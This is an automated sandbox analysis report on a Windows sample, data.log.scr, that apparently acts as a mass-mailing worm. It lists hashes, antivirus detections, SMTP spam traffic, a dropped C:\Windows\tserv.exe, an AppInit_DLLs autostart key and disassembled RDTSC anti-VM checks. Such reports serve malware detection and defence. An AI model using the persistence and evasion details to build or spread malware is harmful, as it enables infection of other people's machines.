Play interactive tour

Edit tour

Windows Analysis Report data.log.scr

Overview

General Information

Sample Name:	data.log.scr (renamed file extension from scr to exe)
Analysis ID:	549361
MD5:	7c30f98ed7373bba1266550779e7993a
SHA1:	b05d0af01b9cc3050a4984d3fab96555aba46330
SHA256:	822af12c9ebcf9e21d38f0eb8d3e39e4096e17cc43623e81d5f9502c1fd2ac19
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Injects files into Windows application

Machine Learning detection for sample

Send many emails (e-Mail Spam)

Tries to detect virtualization through RDTSC time measurements

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Contains functionality to inject threads in other processes

Tries to resolve many domain names, but no domain seems valid

Drops executables to the windows directory (C:\Windows) and starts them

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Creates files inside the system directory

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Connects to many different domains

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Tries to load missing DLLs

Drops PE files to the windows directory (C:\Windows)

Found evasive API chain checking for process token information

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Uses SMTP (mail sending)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

Process Tree

System is w10x64

data.log.exe (PID: 7008 cmdline: "C:\Users\user\Desktop\data.log.exe" MD5: 7C30F98ED7373BBA1266550779E7993A)

tserv.exe (PID: 5208 cmdline: C:\Windows\tserv.exe s MD5: 7C30F98ED7373BBA1266550779E7993A)

notepad.exe (PID: 2208 cmdline: C:\Windows\System32\notepad.exe C:\Users\user\Desktop\615D.tmp MD5: D693F13FE3AA2010B854C4C60671B8E2)

tserv.exe (PID: 3152 cmdline: "C:\Windows\tserv.exe" s MD5: 7C30F98ED7373BBA1266550779E7993A)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: data.log.exe	Virustotal: Detection: 85%	Perma Link
Source: data.log.exe	Metadefender: Detection: 67%	Perma Link
Source: data.log.exe	ReversingLabs: Detection: 90%

Antivirus / Scanner detection for submitted sample

Show sources

Source: data.log.exe

Avira: detected

Antivirus detection for dropped file

Show sources

Source: C:\Windows\tserv.exe

Avira: detection malicious, Label: TR/Hijacker.Gen

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Windows\tserv.exe	Metadefender: Detection: 67%			Perma Link
Source: C:\Windows\tserv.exe	ReversingLabs: Detection: 90%

Machine Learning detection for sample

Show sources

Source: data.log.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Windows\tserv.exe

Joe Sandbox ML: detected

Source: 0.2.data.log.exe.400000.0.unpack	Avira: Label: TR/Hijacker.Gen
Source: 0.0.data.log.exe.400000.0.unpack	Avira: Label: TR/Hijacker.Gen

Source: data.log.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,

0_2_00406360

Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\AppTiles\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\Deleted\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\microsoft.system.package.metadata\	Jump to behavior

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.4:49762
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.4:49764
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.4:49765
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.74:25 -> 192.168.2.4:49771
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.75:25 -> 192.168.2.4:49773
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.161:25 -> 192.168.2.4:49776
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.4:49781
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.4:49786
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.74:25 -> 192.168.2.4:49791
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.75:25 -> 192.168.2.4:49792
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.58.161:25 -> 192.168.2.4:49803
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.4:49804
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.4:49805
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.4:49818
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.4:49823
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.4:49817
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.4:49821
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.4:49820
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.4:49822
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.4:49819
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.4:49824
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.73.161:25 -> 192.168.2.4:49825
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.73.161:25 -> 192.168.2.4:49826
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.110:25 -> 192.168.2.4:49836
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.110:25 -> 192.168.2.4:49835
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.110:25 -> 192.168.2.4:49850
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.110:25 -> 192.168.2.4:49855
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.110:25 -> 192.168.2.4:49865
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.74:25 -> 192.168.2.4:49881
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.57.58:25 -> 192.168.2.4:49902
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.57.59:25 -> 192.168.2.4:49918
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.68:25 -> 192.168.2.4:49927
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.69:25 -> 192.168.2.4:49929
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.82:25 -> 192.168.2.4:49930
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 140.78.3.83:25 -> 192.168.2.4:49931
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.242.59:25 -> 192.168.2.4:49924
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 51.81.242.150:25 -> 192.168.2.4:49932

Tries to resolve many domain names, but no domain seems valid

Show sources

Source: unknown	DNS traffic detected: query: lufka.zx replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bryson.demon.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mx1-lw-us.apache.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: quatro.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fafa.pk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: abcdef.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: au.au-net.ne.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: orice.ro replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tvrtka.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: griepp.pl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: contoso.mx replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mx2-lw-us.apache.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: contoso.com.pt replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: netko.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: somemail.ro replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: src.dec.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mx2-lw-eu.apache.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: riekk.pl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mx1-lw-eu.apache.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tek-astore.cz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: x.com.pt replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pirajui.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: shell32.dll replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fanfary.pq replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: worldwideoffices.ro replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xara.pl replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: kywx.com.pt replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fajrant.qz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: negdje.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ektro.cz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: animo.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: abcdefg.cz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: emaiserver.ro replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wewew.pl replaycode: Name error (3)

Source: global traffic

TCP traffic: 192.168.2.4:49757 -> 193.166.255.171:80

Source: Joe Sandbox View	IP Address: 216.105.38.6 216.105.38.6
Source: Joe Sandbox View	IP Address: 44.239.72.13 44.239.72.13
Source: Joe Sandbox View	IP Address: 51.81.242.150 51.81.242.150

Source: unknown

Network traffic detected: DNS query count 168

Source: global traffic

TCP traffic: 192.168.2.4:49858 -> 193.166.255.171:8080

Source: unknown

Network traffic detected: IP country count 15

Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 67.195.204.72:25
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 142.250.150.26:25
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 104.47.17.97:25
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 67.195.228.109:25
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 77.88.21.249:25
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 67.195.228.110:25
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 74.208.5.20:25
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 213.186.119.6:25
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 74.208.5.22:25
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 194.152.32.74:25
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 195.3.96.71:25
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 194.152.32.75:25
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 91.136.8.41:25
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 98.136.96.74:25
Source: global traffic	TCP traffic: 192.168.2.4:49776 -> 104.47.17.161:25
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 67.195.204.77:25
Source: global traffic	TCP traffic: 192.168.2.4:49779 -> 91.136.8.46:25
Source: global traffic	TCP traffic: 192.168.2.4:49782 -> 193.239.71.112:25
Source: global traffic	TCP traffic: 192.168.2.4:49785 -> 91.136.8.47:25
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 142.250.157.26:25
Source: global traffic	TCP traffic: 192.168.2.4:49799 -> 104.47.58.161:25
Source: global traffic	TCP traffic: 192.168.2.4:49807 -> 67.195.204.79:25
Source: global traffic	TCP traffic: 192.168.2.4:49811 -> 44.239.72.13:25
Source: global traffic	TCP traffic: 192.168.2.4:49813 -> 193.239.71.113:25
Source: global traffic	TCP traffic: 192.168.2.4:49817 -> 104.47.51.33:25
Source: global traffic	TCP traffic: 192.168.2.4:49825 -> 104.47.73.161:25
Source: global traffic	TCP traffic: 192.168.2.4:49827 -> 98.136.96.93:25
Source: global traffic	TCP traffic: 192.168.2.4:49829 -> 34.215.215.23:25
Source: global traffic	TCP traffic: 192.168.2.4:49831 -> 148.163.149.218:25
Source: global traffic	TCP traffic: 192.168.2.4:49832 -> 94.152.34.135:25
Source: global traffic	TCP traffic: 192.168.2.4:49834 -> 74.125.200.26:25
Source: global traffic	TCP traffic: 192.168.2.4:49835 -> 104.47.51.110:25
Source: global traffic	TCP traffic: 192.168.2.4:49837 -> 131.107.55.31:25
Source: global traffic	TCP traffic: 192.168.2.4:49839 -> 131.107.88.24:25
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 193.239.68.121:25
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 173.194.79.27:25
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 74.125.200.27:25
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 173.194.202.26:25
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 104.47.56.110:25
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 142.250.150.27:25
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 96.47.154.206:25
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 142.250.153.27:25
Source: global traffic	TCP traffic: 192.168.2.4:49868 -> 195.29.173.131:25
Source: global traffic	TCP traffic: 192.168.2.4:49869 -> 138.201.223.6:25
Source: global traffic	TCP traffic: 192.168.2.4:49870 -> 130.193.9.47:25
Source: global traffic	TCP traffic: 192.168.2.4:49874 -> 54.83.87.114:25
Source: global traffic	TCP traffic: 192.168.2.4:49876 -> 67.219.247.199:25
Source: global traffic	TCP traffic: 192.168.2.4:49877 -> 34.223.6.127:25
Source: global traffic	TCP traffic: 192.168.2.4:49878 -> 185.175.124.58:25
Source: global traffic	TCP traffic: 192.168.2.4:49880 -> 176.223.123.126:25
Source: global traffic	TCP traffic: 192.168.2.4:49881 -> 104.47.17.74:25
Source: global traffic	TCP traffic: 192.168.2.4:49882 -> 142.250.145.27:25
Source: global traffic	TCP traffic: 192.168.2.4:49883 -> 194.97.150.230:25
Source: global traffic	TCP traffic: 192.168.2.4:49889 -> 108.177.127.27:25
Source: global traffic	TCP traffic: 192.168.2.4:49898 -> 195.29.173.138:25
Source: global traffic	TCP traffic: 192.168.2.4:49899 -> 195.29.173.139:25
Source: global traffic	TCP traffic: 192.168.2.4:49901 -> 131.111.8.149:25
Source: global traffic	TCP traffic: 192.168.2.4:49902 -> 51.81.57.58:25
Source: global traffic	TCP traffic: 192.168.2.4:49903 -> 216.200.145.235:25
Source: global traffic	TCP traffic: 192.168.2.4:49905 -> 108.177.119.26:25
Source: global traffic	TCP traffic: 192.168.2.4:49907 -> 173.228.157.39:25
Source: global traffic	TCP traffic: 192.168.2.4:49909 -> 185.132.181.97:25
Source: global traffic	TCP traffic: 192.168.2.4:49916 -> 128.30.52.76:25
Source: global traffic	TCP traffic: 192.168.2.4:49917 -> 216.105.38.6:25
Source: global traffic	TCP traffic: 192.168.2.4:49918 -> 51.81.57.59:25
Source: global traffic	TCP traffic: 192.168.2.4:49924 -> 51.81.242.59:25
Source: global traffic	TCP traffic: 192.168.2.4:49927 -> 140.78.3.68:25
Source: global traffic	TCP traffic: 192.168.2.4:49928 -> 85.187.148.2:25
Source: global traffic	TCP traffic: 192.168.2.4:49929 -> 140.78.3.69:25
Source: global traffic	TCP traffic: 192.168.2.4:49930 -> 140.78.3.82:25
Source: global traffic	TCP traffic: 192.168.2.4:49931 -> 140.78.3.83:25
Source: global traffic	TCP traffic: 192.168.2.4:49932 -> 51.81.242.150:25

Source: unknown

DNS traffic detected: queries for: yahoo.com

Spam, unwanted Advertisements and Ransom Demands:

Send many emails (e-Mail Spam)

Show sources

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 67

Source: data.log.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\data.log.exe

File created: C:\Windows\tserv.exe

Jump to behavior

Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00411800	0_2_00411800
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_004108D0	0_2_004108D0
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0040C8E0	0_2_0040C8E0
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0040F0E9	0_2_0040F0E9
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00410907	0_2_00410907
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00409119	0_2_00409119
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0040F1C7	0_2_0040F1C7
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0040C1D0	0_2_0040C1D0
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00404990	0_2_00404990
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_004091A7	0_2_004091A7
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0040E246	0_2_0040E246
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00428A08	0_2_00428A08
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00425214	0_2_00425214
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00405310	0_2_00405310
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00408BC0	0_2_00408BC0
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00415BD0	0_2_00415BD0
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0041B3D0	0_2_0041B3D0
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0040DBF0	0_2_0040DBF0
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0041E3A0	0_2_0041E3A0
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00409436	0_2_00409436
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00409CF7	0_2_00409CF7
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0041BD00	0_2_0041BD00
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0040EDE0	0_2_0040EDE0
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0040DE56	0_2_0040DE56
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0040E676	0_2_0040E676
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00409F47	0_2_00409F47
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0040EF78	0_2_0040EF78
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0040FF30	0_2_0040FF30

Source: C:\Users\user\Desktop\data.log.exe

Code function: String function: 0042664C appears 45 times

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_00423D83: QueryDosDeviceA,lstrcpyA,lstrcatA,GetLastError,lstrcpyA,lstrcatA,DefineDosDeviceA,GetLastError,lstrcpyA,lstrcatA,CreateFileA,DeviceIoControl,GetLastError,GetLastError,DefineDosDeviceA,GetLastError,

0_2_00423D83

Source: C:\Windows\tserv.exe

Process Stats: CPU usage > 98%

Source: C:\Users\user\Desktop\data.log.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior

Source: data.log.exe	Virustotal: Detection: 85%
Source: data.log.exe	Metadefender: Detection: 67%
Source: data.log.exe	ReversingLabs: Detection: 90%

Source: C:\Users\user\Desktop\data.log.exe

File read: C:\Users\user\Desktop\data.log.exe

Jump to behavior

Source: data.log.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\data.log.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\data.log.exe "C:\Users\user\Desktop\data.log.exe"
Source: C:\Users\user\Desktop\data.log.exe	Process created: C:\Windows\tserv.exe C:\Windows\tserv.exe s
Source: C:\Users\user\Desktop\data.log.exe	Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\System32\notepad.exe C:\Users\user\Desktop\615D.tmp
Source: unknown	Process created: C:\Windows\tserv.exe "C:\Windows\tserv.exe" s
Source: C:\Users\user\Desktop\data.log.exe	Process created: C:\Windows\tserv.exe C:\Windows\tserv.exe s	Jump to behavior
Source: C:\Users\user\Desktop\data.log.exe	Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\System32\notepad.exe C:\Users\user\Desktop\615D.tmp	Jump to behavior

Source: C:\Windows\SysWOW64\notepad.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{11659a23-5884-4d1b-9cf6-67d6f4f90b36}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_004047A0 lstrcatA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,

0_2_004047A0

Source: C:\Users\user\Desktop\data.log.exe

File created: C:\Users\user\Desktop\615D.tmp

Jump to behavior

Source: C:\Windows\tserv.exe

File created: C:\Users\user\AppData\Local\Temp\~99A.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@6/6@330/76

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_00405090 GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcatA,GetFileAttributesA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00405090

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_0041E0B0 FindResourceA,LoadResource,SizeofResource,LockResource,CreateFileA,WriteFile,CloseHandle,

0_2_0041E0B0

Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0042647C push eax; ret	0_2_0042649A
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_004254B0 push eax; ret	0_2_004254C4
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_004254B0 push eax; ret	0_2_004254EC
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_00426687 push ecx; ret	0_2_00426697

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,

0_2_0041F660

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Users\user\Desktop\data.log.exe

Executable created and started: C:\Windows\tserv.exe

Jump to behavior

Source: C:\Users\user\Desktop\data.log.exe

File created: C:\Windows\tserv.exe

Jump to dropped file

Source: C:\Users\user\Desktop\data.log.exe

File created: C:\Windows\tserv.exe

Jump to dropped file

Boot Survival:

Creates an undocumented autostart registry key

Show sources

Source: C:\Windows\tserv.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows AppInit_DLLs

Jump to behavior

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_0041D159 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,

0_2_0041D159

Source: C:\Windows\SysWOW64\notepad.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\data.log.exe	RDTSC instruction interceptor: First address: 000000000040C1E0 second address: 000000000040C1EE instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+04h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [73BE17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F42DD170D2Eh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+08h], eax 0x00000046 rdtsc
Source: C:\Users\user\Desktop\data.log.exe	RDTSC instruction interceptor: First address: 000000000040C1EE second address: 000000000040C1FC instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+08h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [73BE17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F42DD1711BEh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+0Ch], eax 0x00000046 rdtsc
